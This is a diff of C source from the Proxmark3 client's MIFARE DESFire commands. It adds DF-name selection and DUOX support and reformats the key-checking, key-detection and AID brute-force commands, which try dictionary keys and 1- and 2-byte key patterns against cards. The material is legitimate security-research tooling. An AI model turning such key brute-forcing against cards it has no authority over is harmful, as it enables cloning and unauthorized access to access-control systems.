"040F732E0EA7DF2B38F791BF89425BF7DCDF3EE4D976669E3831F324FF15751BD52AFF1782F72FF2731EEAD5F63ABE7D126E03C856FFB942AF"}, - }; - - uint32_t i; - bool is_valid = false; - - for (i = 0; i < ARRAYLEN(nxp_desfire_public_keys); i++) { - - int dl = 0; - uint8_t key[PUBLIC_DESFIRE_ECDA_KEYLEN]; - param_gethex_to_eol(nxp_desfire_public_keys[i].value, 0, key, PUBLIC_DESFIRE_ECDA_KEYLEN, &dl); - - int res = ecdsa_signature_r_s_verify(MBEDTLS_ECP_DP_SECP224R1, key, uid, uidlen, signature, signature_len, false); - is_valid = (res == 0); - if (is_valid) - break; - } -// PrintAndLogEx(NORMAL, ""); -// PrintAndLogEx(INFO, "--- " _CYAN_("Tag Signature")); - if (is_valid == false || i == ARRAYLEN(nxp_desfire_public_keys)) { - PrintAndLogEx(INFO, " Elliptic curve parameters: NID_secp224r1"); - PrintAndLogEx(INFO, " TAG IC Signature: %s", sprint_hex_inrow(signature, 16)); - PrintAndLogEx(INFO, " : %s", sprint_hex_inrow(signature + 16, 16)); - PrintAndLogEx(INFO, " : %s", sprint_hex_inrow(signature + 32, 16)); - PrintAndLogEx(INFO, " : %s", sprint_hex_inrow(signature + 48, signature_len - 48)); - PrintAndLogEx(SUCCESS, " Signature verification: " _RED_("failed")); - return PM3_ESOFT; - } - - PrintAndLogEx(INFO, " IC signature public key name: " _GREEN_("%s"), nxp_desfire_public_keys[i].desc); - PrintAndLogEx(INFO, "IC signature public key value: %.32s", nxp_desfire_public_keys[i].value); - PrintAndLogEx(INFO, " : %.32s", nxp_desfire_public_keys[i].value + 32); - PrintAndLogEx(INFO, " : %.32s", nxp_desfire_public_keys[i].value + 64); - PrintAndLogEx(INFO, " : %.32s", nxp_desfire_public_keys[i].value + 96); - PrintAndLogEx(INFO, " Elliptic curve parameters: NID_secp224r1"); - PrintAndLogEx(INFO, " TAG IC Signature: %s", sprint_hex_inrow(signature, 16)); - PrintAndLogEx(INFO, " : %s", sprint_hex_inrow(signature + 16, 16)); - PrintAndLogEx(INFO, " : %s", sprint_hex_inrow(signature + 32, 16)); - PrintAndLogEx(INFO, " : %s", sprint_hex_inrow(signature + 48, signature_len - 48)); - PrintAndLogEx(SUCCESS, " Signature verification: " _GREEN_("successful")); - return PM3_SUCCESS; + int index = originality_check_verify(uid, uidlen, signature, signature_len, PK_MFDES); + return originality_check_print(signature, signature_len, index); } static void swap24(uint8_t *data) { - if (data == NULL) return; + if (data == NULL) { + return; + } uint8_t tmp = data[0]; data[0] = data[2]; data[2] = tmp; @@ -508,7 +463,7 @@ static void swap24(uint8_t *data) { // default parameters static uint8_t defaultKeyNum = 0; -static DesfireCryptoAlgorithm defaultAlgoId = T_DES; +static DesfireCryptoAlgorithm defaultAlgoId = T_3DES; // Real DESFire cards seem to use 2TDEA by default static uint8_t defaultKey[DESFIRE_MAX_KEY_SIZE] = {0}; static int defaultKdfAlgo = MFDES_KDF_ALGO_NONE; static int defaultKdfInputLen = 0; @@ -524,6 +479,7 @@ static int CmdDesGetSessionParameters(CLIParserContext *ctx, DesfireContext_t *d uint8_t cmodeid, uint8_t ccsetid, uint8_t schannid, uint8_t appid, uint8_t appisoid, + uint8_t dfnameid, int *securechannel, DesfireCommunicationMode defcommmode, uint32_t *id, @@ -609,6 +565,22 @@ static int CmdDesGetSessionParameters(CLIParserContext *ctx, DesfireContext_t *d return PM3_ESOFT; } + // Handle dfname parameter + if (dfnameid && id) { + uint8_t dfname_data[16] = {0}; + int dfname_len = 0; + if (CLIParamHexToBuf(arg_get_str(ctx, dfnameid), dfname_data, sizeof(dfname_data), &dfname_len) == 0 && dfname_len > 0) { + if (dfname_len <= 16) { + DesfireSetDFName(dctx, dfname_data, dfname_len); + if (selectway) + *selectway = ISWDFName; + } else { + PrintAndLogEx(ERR, "DF name length must be between 1-16 bytes, got %d", dfname_len); + return PM3_EINVARG; + } + } + } + if (appid && id) { *id = 0x000000; if (CLIGetUint32Hex(ctx, appid, 0x000000, id, NULL, 3, "AID must have 3 bytes length")) @@ -662,7 +634,7 @@ static int CmdHF14ADesDefault(const char *Cmd) { DesfireContext_t dctx; int securechann = defaultSecureChannel; - int res = CmdDesGetSessionParameters(ctx, &dctx, 1, 2, 3, 4, 5, 6, 7, 8, 0, 0, &securechann, DCMNone, NULL, NULL); + int res = CmdDesGetSessionParameters(ctx, &dctx, 1, 2, 3, 4, 5, 6, 7, 8, 0, 0, 0, &securechann, DCMNone, NULL, NULL); if (res) { CLIParserFree(ctx); return res; @@ -736,7 +708,7 @@ static int CmdHF14ADesInfo(const char *Cmd) { return PM3_SUCCESS; } - if (cardtype == DESFIRE_UNKNOWN) { + if (cardtype == NXP_UNKNOWN) { PrintAndLogEx(INFO, "HW Version.. %s", sprint_hex_inrow(info.versionHW, sizeof(info.versionHW))); PrintAndLogEx(INFO, "SW Version.. %s", sprint_hex_inrow(info.versionSW, sizeof(info.versionSW))); PrintAndLogEx(INFO, "Version data identification failed. Report to Iceman!"); @@ -793,7 +765,9 @@ static int CmdHF14ADesInfo(const char *Cmd) { if (major == 2 && minor == 2) PrintAndLogEx(INFO, "\t2.2 - DESFire Ev2 XL, Originality check, proximity check, EAL5"); if (major == 3 && minor == 0) - PrintAndLogEx(INFO, "\t3.0 - DESFire Ev3, Originality check, proximity check, badass EAL6 ?"); + PrintAndLogEx(INFO, "\t3.0 - DESFire Ev3, Originality check, proximity check, badass EAL6"); + if (major == 0xA0 && minor == 0) + PrintAndLogEx(INFO, "\tx.x - DUOX, Originality check, proximity check, EAL6++"); if (major == 0 && minor == 2) PrintAndLogEx(INFO, "\t0.2 - DESFire Light, Originality check, "); @@ -811,7 +785,8 @@ static int CmdHF14ADesInfo(const char *Cmd) { if (cardtype == DESFIRE_EV2 || cardtype == DESFIRE_EV2_XL || cardtype == DESFIRE_LIGHT || cardtype == DESFIRE_EV3 || - cardtype == NTAG413DNA) { + cardtype == NTAG413DNA || + cardtype == DUOX) { // Signature originality check uint8_t signature[250] = {0}; // must be 56 size_t signature_len = 0; @@ -839,12 +814,17 @@ static int CmdHF14ADesInfo(const char *Cmd) { } if (aidbuflen > 2) { + + uint8_t j = (aidbuflen / 3); + PrintAndLogEx(NORMAL, ""); + PrintAndLogEx(SUCCESS, "--- " _CYAN_("AID list") " ( " _YELLOW_("%u") " found )", j); + + j = 0; + for (int i = 0; i < aidbuflen; i += 3, j++) { + uint32_t aid = DesfireAIDByteToUint(&aidbuf[i]); + PrintAndLogEx(SUCCESS, _YELLOW_("%06X") ", %s", aid, getAidCommentStr(aid)); + } PrintAndLogEx(NORMAL, ""); - PrintAndLogEx(SUCCESS, "--- " _CYAN_("AID list")); - PrintAndLogEx(SUCCESS, "AIDs: " NOLF); - for (int i = 0; i < aidbuflen; i += 3) - PrintAndLogEx(NORMAL, "%s %06x" NOLF, (i == 0) ? "" : ",", DesfireAIDByteToUint(&aidbuf[i])); - PrintAndLogEx(NORMAL, "\n"); } DesfireFillPICCInfo(&dctx, &PICCInfo, true); @@ -855,7 +835,7 @@ static int CmdHF14ADesInfo(const char *Cmd) { PrintAndLogEx(NORMAL, ""); PrintAndLogEx(INFO, "--- " _CYAN_("Free memory")); if (PICCInfo.freemem != 0xffffffff) { - PrintAndLogEx(SUCCESS, " Available free memory on card : " _GREEN_("%d bytes"), PICCInfo.freemem); + PrintAndLogEx(SUCCESS, " Available free memory on card... " _GREEN_("%d") " bytes", PICCInfo.freemem); } else { PrintAndLogEx(SUCCESS, " Card doesn't support 'free mem' cmd"); } @@ -1069,7 +1049,7 @@ static int AuthCheckDesfire(DesfireContext_t *dctx, DesfireSetKeyNoClear(dctx, keyno, T_DES, deskeyList[curkey]); res = DesfireAuthenticate(dctx, secureChannel, false); if (res == PM3_SUCCESS) { - PrintAndLogEx(SUCCESS, "AID 0x%06X, Found DES Key %02u : " _GREEN_("%s"), curaid, keyno, sprint_hex(deskeyList[curkey], 8)); + PrintAndLogEx(SUCCESS, "AID 0x%06X, Found DES Key %02u... " _GREEN_("%s"), curaid, keyno, sprint_hex(deskeyList[curkey], 8)); foundKeys[0][keyno][0] = 0x01; *result = true; memcpy(&foundKeys[0][keyno][1], deskeyList[curkey], 8); @@ -1101,7 +1081,7 @@ static int AuthCheckDesfire(DesfireContext_t *dctx, DesfireSetKeyNoClear(dctx, keyno, T_3DES, aeskeyList[curkey]); res = DesfireAuthenticate(dctx, secureChannel, false); if (res == PM3_SUCCESS) { - PrintAndLogEx(SUCCESS, "AID 0x%06X, Found 2TDEA Key %02u : " _GREEN_("%s"), curaid, keyno, sprint_hex(aeskeyList[curkey], 16)); + PrintAndLogEx(SUCCESS, "AID 0x%06X, Found 2TDEA Key %02u... " _GREEN_("%s"), curaid, keyno, sprint_hex_inrow(aeskeyList[curkey], 16)); foundKeys[1][keyno][0] = 0x01; *result = true; memcpy(&foundKeys[1][keyno][1], aeskeyList[curkey], 16); @@ -1133,7 +1113,7 @@ static int AuthCheckDesfire(DesfireContext_t *dctx, DesfireSetKeyNoClear(dctx, keyno, T_AES, aeskeyList[curkey]); res = DesfireAuthenticate(dctx, secureChannel, false); if (res == PM3_SUCCESS) { - PrintAndLogEx(SUCCESS, "AID 0x%06X, Found AES Key %02u : " _GREEN_("%s"), curaid, keyno, sprint_hex(aeskeyList[curkey], 16)); + PrintAndLogEx(SUCCESS, "AID 0x%06X, Found AES Key %02u... " _GREEN_("%s"), curaid, keyno, sprint_hex_inrow(aeskeyList[curkey], 16)); foundKeys[2][keyno][0] = 0x01; *result = true; memcpy(&foundKeys[2][keyno][1], aeskeyList[curkey], 16); @@ -1165,7 +1145,7 @@ static int AuthCheckDesfire(DesfireContext_t *dctx, DesfireSetKeyNoClear(dctx, keyno, T_3K3DES, k3kkeyList[curkey]); res = DesfireAuthenticate(dctx, secureChannel, false); if (res == PM3_SUCCESS) { - PrintAndLogEx(SUCCESS, "AID 0x%06X, Found 3TDEA Key %02u : " _GREEN_("%s"), curaid, keyno, sprint_hex(k3kkeyList[curkey], 24)); + PrintAndLogEx(SUCCESS, "AID 0x%06X, Found 3TDEA Key %02u... " _GREEN_("%s"), curaid, keyno, sprint_hex_inrow(k3kkeyList[curkey], 24)); foundKeys[3][keyno][0] = 0x01; *result = true; memcpy(&foundKeys[3][keyno][1], k3kkeyList[curkey], 16); @@ -1205,8 +1185,8 @@ static int CmdHF14aDesChk(const char *Cmd) { CLIParserInit(&ctx, "hf mfdes chk", "Checks keys with MIFARE DESFire card.", "hf mfdes chk --aid 123456 -k 000102030405060708090a0b0c0d0e0f -> check key on aid 0x123456\n" - "hf mfdes chk -d mfdes_default_keys -> check keys against all existing aid on card\n" - "hf mfdes chk -d mfdes_default_keys --aid 123456 -> check keys against aid 0x123456\n" + "hf mfdes chk -f mfdes_default_keys -> check keys against all existing aid on card\n" + "hf mfdes chk -f mfdes_default_keys --aid 123456 -> check keys against aid 0x123456\n" "hf mfdes chk --aid 123456 --pattern1b -j keys -> check all 1-byte keys pattern on aid 0x123456 and save found keys to `keys.json`\n" "hf mfdes chk --aid 123456 --pattern2b --startp2b FA00 -> check all 2-byte keys pattern on aid 0x123456. Start from key FA00FA00...FA00"); @@ -1214,7 +1194,7 @@ static int CmdHF14aDesChk(const char *Cmd) { arg_param_begin, arg_str0(NULL, "aid", "", "Use specific AID (3 hex bytes, big endian)"), arg_str0("k", "key", "", "Key for checking (HEX 16 bytes)"), - arg_str0("d", "dict", "", "Dictionary file with keys"), + arg_str0("f", "file", "", "Filename of dictionary"), arg_lit0(NULL, "pattern1b", "Check all 1-byte combinations of key (0000...0000, 0101...0101, 0202...0202, ...)"), arg_lit0(NULL, "pattern2b", "Check all 2-byte combinations of key (0000...0000, 0001...0001, 0002...0002, ...)"), arg_str0(NULL, "startp2b", "", "Start key (2-byte HEX) for 2-byte search (use with `--pattern2b`)"), @@ -1227,12 +1207,12 @@ static int CmdHF14aDesChk(const char *Cmd) { }; CLIExecWithReturn(ctx, Cmd, argtable, false); - bool APDULogging = arg_get_lit(ctx, 11); - int aidlength = 0; uint8_t aid[3] = {0}; CLIGetHexWithReturn(ctx, 1, aid, &aidlength); + swap24(aid); + uint8_t vkey[16] = {0}; int vkeylen = 0; CLIGetHexWithReturn(ctx, 2, vkey, &vkeylen); @@ -1311,17 +1291,26 @@ static int CmdHF14aDesChk(const char *Cmd) { int kdfInputLen = 0; CLIGetHexWithReturn(ctx, 10, kdfInput, &kdfInputLen); + bool APDULogging = arg_get_lit(ctx, 11); + CLIParserFree(ctx); SetAPDULogging(APDULogging); // 1-byte pattern search mode if (pattern1b) { - for (uint32_t i = 0; i < 0x100; i++) + + for (uint32_t i = 0; i < 0x100; i++) { memset(aeskeyList[i], i, 16); - for (uint32_t i = 0; i < 0x100; i++) + } + + for (uint32_t i = 0; i < 0x100; i++) { memset(deskeyList[i], i, 8); - for (uint32_t i = 0; i < 0x100; i++) + } + + for (uint32_t i = 0; i < 0x100; i++) { memset(k3kkeyList[i], i, 24); + } + aeskeyListLen = 0x100; deskeyListLen = 0x100; k3kkeyListLen = 0x100; @@ -1337,18 +1326,21 @@ static int CmdHF14aDesChk(const char *Cmd) { if (dict_filenamelen) { res = loadFileDICTIONARYEx((char *)dict_filename, deskeyList, sizeof(deskeyList), NULL, 8, &deskeyListLen, 0, &endFilePosition, true); - if (res == PM3_SUCCESS && endFilePosition) + if (res == PM3_SUCCESS && endFilePosition) { PrintAndLogEx(SUCCESS, "First part of des dictionary successfully loaded."); + } endFilePosition = 0; res = loadFileDICTIONARYEx((char *)dict_filename, aeskeyList, sizeof(aeskeyList), NULL, 16, &aeskeyListLen, 0, &endFilePosition, true); - if (res == PM3_SUCCESS && endFilePosition) + if (res == PM3_SUCCESS && endFilePosition) { PrintAndLogEx(SUCCESS, "First part of aes dictionary successfully loaded."); + } endFilePosition = 0; res = loadFileDICTIONARYEx((char *)dict_filename, k3kkeyList, sizeof(k3kkeyList), NULL, 24, &k3kkeyListLen, 0, &endFilePosition, true); - if (res == PM3_SUCCESS && endFilePosition) + if (res == PM3_SUCCESS && endFilePosition) { PrintAndLogEx(SUCCESS, "First part of k3kdes dictionary successfully loaded."); + } endFilePosition = 0; } @@ -1370,8 +1362,9 @@ static int CmdHF14aDesChk(const char *Cmd) { PrintAndLogEx(INFO, "Loaded " _YELLOW_("%"PRIu32) " k3kdes keys", k3kkeyListLen); } - if (verbose == false) + if (verbose == false) { PrintAndLogEx(INFO, "Search keys:"); + } bool result = false; uint8_t app_ids[78] = {0}; @@ -1465,9 +1458,11 @@ static int CmdHF14aDesChk(const char *Cmd) { DropField(); // MIFARE DESFire info SendCommandMIX(CMD_HF_ISO14443A_READER, ISO14A_CONNECT, 0, 0, NULL, 0); - PacketResponseNG resp; - WaitForResponse(CMD_ACK, &resp); + if (WaitForResponseTimeout(CMD_ACK, &resp, 2500) == false) { + PrintAndLogEx(WARNING, "timeout while waiting for reply"); + return PM3_ETIMEOUT; + } iso14a_card_select_t card; memcpy(&card, (iso14a_card_select_t *)resp.data.asBytes, sizeof(iso14a_card_select_t)); @@ -1524,7 +1519,7 @@ static int CmdHF14aDesDetect(const char *Cmd) { "Detect key type and tries to find one from the list.", "hf mfdes detect -> detect key 0 from PICC level\n" "hf mfdes detect --schann d40 -> detect key 0 from PICC level via secure channel D40\n" - "hf mfdes detect --dict mfdes_default_keys -> detect key 0 from PICC level with help of the standard dictionary\n" + "hf mfdes detect -f mfdes_default_keys -> detect key 0 from PICC level with help of the standard dictionary\n" "hf mfdes detect --aid 123456 -n 2 --save -> detect key 2 from app 123456 and if succeed - save params to defaults (`default` command)\n" "hf mfdes detect --isoid df01 --save -> detect key 0 and save to defaults with card in the LRP mode"); @@ -1542,7 +1537,8 @@ static int CmdHF14aDesDetect(const char *Cmd) { arg_str0(NULL, "schann", "", "Secure channel"), arg_str0(NULL, "aid", "", "Application ID (3 hex bytes, big endian)"), arg_str0(NULL, "isoid", "", "Application ISO ID (ISO DF ID) (2 hex bytes, big endian)."), - arg_str0(NULL, "dict", "", "Dictionary file name with keys"), + arg_str0(NULL, "dfname", "", "Application ISO DF Name (5-16 hex bytes, big endian)"), + arg_str0("f", "file", "", "Filename of dictionary"), arg_lit0(NULL, "save", "Save found key and parameters to defaults"), arg_param_end }; @@ -1555,7 +1551,7 @@ static int CmdHF14aDesDetect(const char *Cmd) { int securechann = defaultSecureChannel; uint32_t id = 0x000000; DesfireISOSelectWay selectway = ISW6bAID; - int res = CmdDesGetSessionParameters(ctx, &dctx, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, &securechann, DCMMACed, &id, &selectway); + int res = CmdDesGetSessionParameters(ctx, &dctx, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, &securechann, DCMMACed, &id, &selectway); if (res) { CLIParserFree(ctx); return res; @@ -1563,13 +1559,13 @@ static int CmdHF14aDesDetect(const char *Cmd) { uint8_t dict_filename[FILE_PATH_SIZE + 2] = {0}; int dict_filenamelen = 0; - if (CLIParamStrToBuf(arg_get_str(ctx, 13), dict_filename, FILE_PATH_SIZE, &dict_filenamelen)) { + if (CLIParamStrToBuf(arg_get_str(ctx, 14), dict_filename, FILE_PATH_SIZE, &dict_filenamelen)) { PrintAndLogEx(FAILED, "File name too long or invalid."); CLIParserFree(ctx); return PM3_EINVARG; } - bool save = arg_get_lit(ctx, 14); + bool save = arg_get_lit(ctx, 15); SetAPDULogging(APDULogging); CLIParserFree(ctx); @@ -1587,28 +1583,38 @@ static int CmdHF14aDesDetect(const char *Cmd) { uint8_t data[250] = {0}; size_t datalen = 0; + res = DesfireGetKeySettings(&dctx, data, &datalen); if (res == PM3_SUCCESS && datalen >= 2) { + uint8_t num_keys = data[1]; + switch (num_keys >> 6) { - case 0: + case 0: { keytypes[T_DES] = true; keytypes[T_3DES] = true; break; - case 1: + } + case 1: { keytypes[T_3K3DES] = true; break; - case 2: + } + case 2: { keytypes[T_AES] = true; break; - default: + } + default: { break; + } } + } else { // if fail - check auth commands AuthCommandsChk_t authCmdCheck = {0}; DesfireCheckAuthCommands(selectway, id, NULL, 0, &authCmdCheck); + if (authCmdCheck.checked) { + if (authCmdCheck.auth) { keytypes[T_DES] = true; keytypes[T_3DES] = true; @@ -1617,14 +1623,17 @@ static int CmdHF14aDesDetect(const char *Cmd) { keytypes[T_3K3DES] = true; } } + if (authCmdCheck.authAES || authCmdCheck.authEV2) { keytypes[T_AES] = true; } + if (authCmdCheck.authLRP) { keytypes[T_AES] = true; uselrp = true; securechann = DACLRP; } + } else { // if nothing helps - we check DES only keytypes[T_DES] = true; @@ -1639,10 +1648,13 @@ static int CmdHF14aDesDetect(const char *Cmd) { } if (verbose) { - if (DesfireMFSelected(selectway, id)) + + if (DesfireMFSelected(selectway, id)) { PrintAndLogEx(INFO, "Check PICC key num: %d (0x%02x)", dctx.keyNum, dctx.keyNum); - else + } else { PrintAndLogEx(INFO, "Check: %s key num: %d (0x%02x)", DesfireWayIDStr(selectway, id), dctx.keyNum, dctx.keyNum); + } + PrintAndLogEx(INFO, "keys: DES: %s 2TDEA: %s 3TDEA: %s AES: %s LRP: %s", keytypes[T_DES] ? _GREEN_("YES") : _RED_("NO"), keytypes[T_3DES] ? _GREEN_("YES") : _RED_("NO"), @@ -1656,43 +1668,61 @@ static int CmdHF14aDesDetect(const char *Cmd) { bool found = false; size_t errcount = 0; for (uint8_t ktype = T_DES; ktype <= T_AES; ktype++) { - if (!keytypes[ktype]) + + if (keytypes[ktype] == false) { continue; + } + dctx.keyType = ktype; - if (verbose) + + if (verbose) { PrintAndLogEx(INFO, "Scan key type: %s", CLIGetOptionListStr(DesfireAlgoOpts, dctx.keyType)); + } if (dict_filenamelen == 0) { // keys from mifaredefault.h for (int i = 0; i < g_mifare_plus_default_keys_len; i++) { + uint8_t key[DESFIRE_MAX_KEY_SIZE] = {0}; - if (hex_to_bytes(g_mifare_plus_default_keys[i], key, 16) != 16) + if (hex_to_bytes(g_mifare_plus_default_keys[i], key, 16) != 16) { continue; - if (ktype == T_3K3DES) + } + + if (ktype == T_3K3DES) { memcpy(&key[16], key, 8); + } res = DesfireAuthCheck(&dctx, selectway, id, securechann, key); if (res == PM3_SUCCESS) { found = true; break; // all the params already in the dctx } + if (res == -10) { - if (verbose) + + if (verbose) { PrintAndLogEx(ERR, "Can't select AID. There is no connection with card."); + } found = false; break; // we can't select app after invalid 1st auth stages } + if (res == -11) { + if (errcount > 10) { - if (verbose) + if (verbose) { PrintAndLogEx(ERR, "Too much errors (%zu) from card", errcount); + } break; } errcount++; - } else + + } else { errcount = 0; + } } + } else { // keys from file uint8_t keyList[MAX_KEYS_LIST_LEN * MAX_KEY_LEN] = {0}; @@ -1700,49 +1730,65 @@ static int CmdHF14aDesDetect(const char *Cmd) { size_t keylen = desfire_get_key_length(dctx.keyType); size_t endFilePosition = 0; - while (!found) { + while (found == false) { + res = loadFileDICTIONARYEx((char *)dict_filename, keyList, sizeof(keyList), NULL, keylen, &keyListLen, endFilePosition, &endFilePosition, verbose); - if (res != 1 && res != PM3_SUCCESS) + if (res != 1 && res != PM3_SUCCESS) { break; + } for (int i = 0; i < keyListLen; i++) { + res = DesfireAuthCheck(&dctx, selectway, id, securechann, &keyList[i * keylen]); if (res == PM3_SUCCESS) { found = true; break; // all the params already in the dctx } + if (res == -10) { - if (verbose) + if (verbose) { PrintAndLogEx(ERR, "Can't select AID. There is no connection with card."); + } found = false; break; // we can't select app after invalid 1st auth stages } + if (res == -11) { + if (errcount > 10) { - if (verbose) + if (verbose) { PrintAndLogEx(ERR, "Too much errors (%zu) from card", errcount); + } break; } errcount++; - } else + + } else { errcount = 0; + } + } - if (endFilePosition == 0) + if (endFilePosition == 0) { break; + } } } - if (found) + + if (found) { break; + } } if (found) { - if (DesfireMFSelected(selectway, id)) + + if (DesfireMFSelected(selectway, id)) { PrintAndLogEx(INFO, _GREEN_("Found") " key num: %d (0x%02x)", dctx.keyNum, dctx.keyNum); - else + } else { PrintAndLogEx(INFO, "Found key for: %s key num: %d (0x%02x)", DesfireWayIDStr(selectway, id), dctx.keyNum, dctx.keyNum); + } PrintAndLogEx(INFO, "channel " _GREEN_("%s") " key " _GREEN_("%s") " [%d]: " _GREEN_("%s"), CLIGetOptionListStr(DesfireSecureChannelOpts, securechann), @@ -1757,6 +1803,7 @@ static int CmdHF14aDesDetect(const char *Cmd) { DropField(); if (found && save) { + defaultKeyNum = dctx.keyNum; defaultAlgoId = dctx.keyType; memcpy(defaultKey, dctx.key, DESFIRE_MAX_KEY_SIZE); @@ -1767,17 +1814,16 @@ static int CmdHF14aDesDetect(const char *Cmd) { defaultCommSet = dctx.cmdSet; PrintAndLogEx(INFO, "-----------" _CYAN_("Default parameters") "---------------------------------"); - - PrintAndLogEx(INFO, "Key Num : %d", defaultKeyNum); - PrintAndLogEx(INFO, "Algo : %s", CLIGetOptionListStr(DesfireAlgoOpts, defaultAlgoId)); - PrintAndLogEx(INFO, "Key : %s", sprint_hex(defaultKey, desfire_get_key_length(defaultAlgoId))); - PrintAndLogEx(INFO, "KDF algo : %s", CLIGetOptionListStr(DesfireKDFAlgoOpts, defaultKdfAlgo)); - PrintAndLogEx(INFO, "KDF input : [%d] %s", defaultKdfInputLen, sprint_hex(defaultKdfInput, defaultKdfInputLen)); - PrintAndLogEx(INFO, "Secure chan : %s", CLIGetOptionListStr(DesfireSecureChannelOpts, defaultSecureChannel)); - PrintAndLogEx(INFO, "Command set : %s", CLIGetOptionListStr(DesfireCommandSetOpts, defaultCommSet)); - PrintAndLogEx(INFO, _GREEN_("Saved")); + PrintAndLogEx(INFO, "Key Num....... %d", defaultKeyNum); + PrintAndLogEx(INFO, "Algo.......... %s", CLIGetOptionListStr(DesfireAlgoOpts, defaultAlgoId)); + PrintAndLogEx(INFO, "Key........... %s", sprint_hex(defaultKey, desfire_get_key_length(defaultAlgoId))); + PrintAndLogEx(INFO, "KDF algo...... %s", CLIGetOptionListStr(DesfireKDFAlgoOpts, defaultKdfAlgo)); + PrintAndLogEx(INFO, "KDF input..... [%d] %s", defaultKdfInputLen, sprint_hex(defaultKdfInput, defaultKdfInputLen)); + PrintAndLogEx(INFO, "Secure chan... %s", CLIGetOptionListStr(DesfireSecureChannelOpts, defaultSecureChannel)); + PrintAndLogEx(INFO, "Command set... %s", CLIGetOptionListStr(DesfireCommandSetOpts, defaultCommSet)); + PrintAndLogEx(INFO, "Parameters saved to in-memory ( %s )", _GREEN_("ok")); } - + PrintAndLogEx(NORMAL, ""); return PM3_SUCCESS; } @@ -1820,7 +1866,7 @@ static int CmdHF14aDesMAD(const char *Cmd) { DesfireContext_t dctx; int securechann = defaultSecureChannel; uint32_t appid = 0x000000; - int res = CmdDesGetSessionParameters(ctx, &dctx, 3, 4, 5, 6, 7, 8, 9, 10, 11, 0, &securechann, DCMPlain, &appid, NULL); + int res = CmdDesGetSessionParameters(ctx, &dctx, 3, 4, 5, 6, 7, 8, 9, 10, 11, 0, 0, &securechann, DCMPlain, &appid, NULL); if (res) { CLIParserFree(ctx); return res; @@ -1841,7 +1887,7 @@ static int CmdHF14aDesMAD(const char *Cmd) { AppListS AppList = {{0}}; DesfireFillAppList(&dctx, &PICCInfo, AppList, false, false, false); // no deep scan, no scan files - PrintAndLogEx(SUCCESS, "# Applications... " _GREEN_("%zu"), PICCInfo.appCount); + PrintAndLogEx(SUCCESS, "# Applications.... " _GREEN_("%zu"), PICCInfo.appCount); if (PICCInfo.freemem == 0xffffffff) { PrintAndLogEx(SUCCESS, "Free memory...... " _YELLOW_("n/a")); } else { @@ -1850,7 +1896,7 @@ static int CmdHF14aDesMAD(const char *Cmd) { if ((PICCInfo.keySettings & (1 << 1)) == 0) { PrintAndLogEx(WARNING, "Directory list access with CMK... ( " _RED_("Enabled") " )"); - PrintAndLogEx(HINT, "Try to read MAD with Card Master Key (CMK)"); + PrintAndLogEx(HINT, "Hint: Try to read MAD with Card Master Key (CMK)"); } PrintAndLogEx(SUCCESS, "----------------------------------------- " _CYAN_("MAD") " ------------------------------------------"); @@ -1996,14 +2042,14 @@ static int CmdHF14ADesSelectApp(const char *Cmd) { DesfireContext_t dctx; int securechann = defaultSecureChannel; uint32_t appid = 0x000000; - int res = CmdDesGetSessionParameters(ctx, &dctx, 3, 4, 5, 6, 7, 8, 9, 10, 11, 0, &securechann, DCMPlain, &appid, NULL); + int res = CmdDesGetSessionParameters(ctx, &dctx, 3, 4, 5, 6, 7, 8, 9, 10, 11, 0, 0, &securechann, DCMPlain, &appid, NULL); if (res) { CLIParserFree(ctx); return res; } uint8_t dfname[32] = {0}; - int dfnamelen = 16; + int dfnamelen = 16; // since max length is 16 chars we don't have to test for 32-1 null termination CLIGetStrWithReturn(ctx, 12, dfname, &dfnamelen); bool selectmf = arg_get_lit(ctx, 13); @@ -2118,7 +2164,7 @@ static int CmdHF14ADesBruteApps(const char *Cmd) { DesfireContext_t dctx; int securechann = defaultSecureChannel; - int res = CmdDesGetSessionParameters(ctx, &dctx, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, &securechann, DCMNone, NULL, NULL); + int res = CmdDesGetSessionParameters(ctx, &dctx, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, &securechann, DCMNone, NULL, NULL); if (res) { CLIParserFree(ctx); return res; @@ -2150,30 +2196,40 @@ static int CmdHF14ADesBruteApps(const char *Cmd) { startAid[1] = 0x00; startAid[2] = 0x0F; } + + reverse_array(startAid, 3); + reverse_array(endAid, 3); + uint32_t idStart = DesfireAIDByteToUint(startAid); uint32_t idEnd = DesfireAIDByteToUint(endAid); + if (idStart > idEnd) { PrintAndLogEx(ERR, "Start should be lower than end. start: %06x end: %06x", idStart, idEnd); return PM3_EINVARG; } - PrintAndLogEx(INFO, "Bruteforce from %06x to %06x", idStart, idEnd); - PrintAndLogEx(INFO, "Enumerating through all AIDs manually, this will take a while!"); - for (uint32_t id = idStart; id <= idEnd && id >= idStart; id += idIncrement) { - if (kbd_enter_pressed()) break; - int progress = ((id - idStart) * 100) / ((idEnd - idStart)); - PrintAndLogEx(INPLACE, "Progress: %d %%, current AID: %06X", progress, id); + PrintAndLogEx(INFO, "Bruteforce from " _YELLOW_("%06x") " to " _YELLOW_("%06x"), idStart, idEnd); + PrintAndLogEx(INFO, "Enumerating through all AIDs manually, this will take a while!"); + + for (uint32_t id = idStart; id <= idEnd && id >= idStart; id += idIncrement) { + + if (kbd_enter_pressed()) { + break; + } + + float progress = ((id - idStart) / (idEnd - idStart)); + PrintAndLogEx(INPLACE, "Progress " _YELLOW_("%0.1f") " %% current AID: %06X", progress, id); res = DesfireSelectAIDHexNoFieldOn(&dctx, id); if (res == PM3_SUCCESS) { printf("\33[2K\r"); // clear current line before printing - PrintAndLogEx(SUCCESS, "Got new APPID %06X", id); + PrintAndLogEx(SUCCESS, "Got new APPID " _GREEN_("%06X"), id); } } PrintAndLogEx(NORMAL, ""); - PrintAndLogEx(SUCCESS, _GREEN_("Done")); + PrintAndLogEx(SUCCESS, _GREEN_("Done!")); DropField(); return PM3_SUCCESS; } @@ -2193,7 +2249,8 @@ static int CmdHF14ADesAuth(const char *Cmd) { "hf mfdes auth -n 0 -t des -k 0000000000000000 --kdf none -> select PICC level and authenticate with key num=0, key type=des, key=00..00 and key derivation = none\n" "hf mfdes auth -n 0 -t aes -k 00000000000000000000000000000000 -> select PICC level and authenticate with key num=0, key type=aes, key=00..00 and key derivation = none\n" "hf mfdes auth -n 0 -t des -k 0000000000000000 --save -> select PICC level and authenticate and in case of successful authentication - save channel parameters to defaults\n" - "hf mfdes auth --aid 123456 -> select application 123456 and authenticate via parameters from `default` command"); + "hf mfdes auth --aid 123456 -> select application 123456 and authenticate via parameters 